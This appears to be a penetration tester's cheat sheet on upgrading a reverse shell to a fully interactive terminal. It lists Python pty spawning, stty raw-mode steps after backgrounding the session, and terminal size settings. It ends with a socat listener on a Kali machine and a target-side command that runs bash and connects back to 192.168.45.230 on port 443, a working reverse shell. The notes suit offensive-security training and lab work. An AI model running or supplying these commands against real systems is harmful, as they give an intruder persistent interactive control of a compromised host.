Upgrading Shell
Python
- python -c ‘import pty; pty.spawn(“/bin/bash”)’
- background reverse shell using CTRL-Z
- echo $TERM
- stty -a
- Take note of the TERM type and size of the tty
- Ex: xterm-256 color and rows 38; columns 116
- Then with the reverse shell still in background “stty raw -echo”
- fg
- reset
- export SHELL=bash
- export TERM=xterm-256 color (for example)
- stty rows 38 columns 116
Full
python3 -c 'import pty; pty.spawn("/bin/bash")'
(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 36 columns 102; reset;
- You can get the number of rows and columns executing
stty -a
Shell Upgrades
Socat
- From kali
- sudo socat file:’tty’,raw,echo=0 tcp-listen:443
- From target
- socat exec:’bash -li’,pty,stderr,setsid,sigint,sane tcp:192.168.45.230:443
Others: https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/full-ttys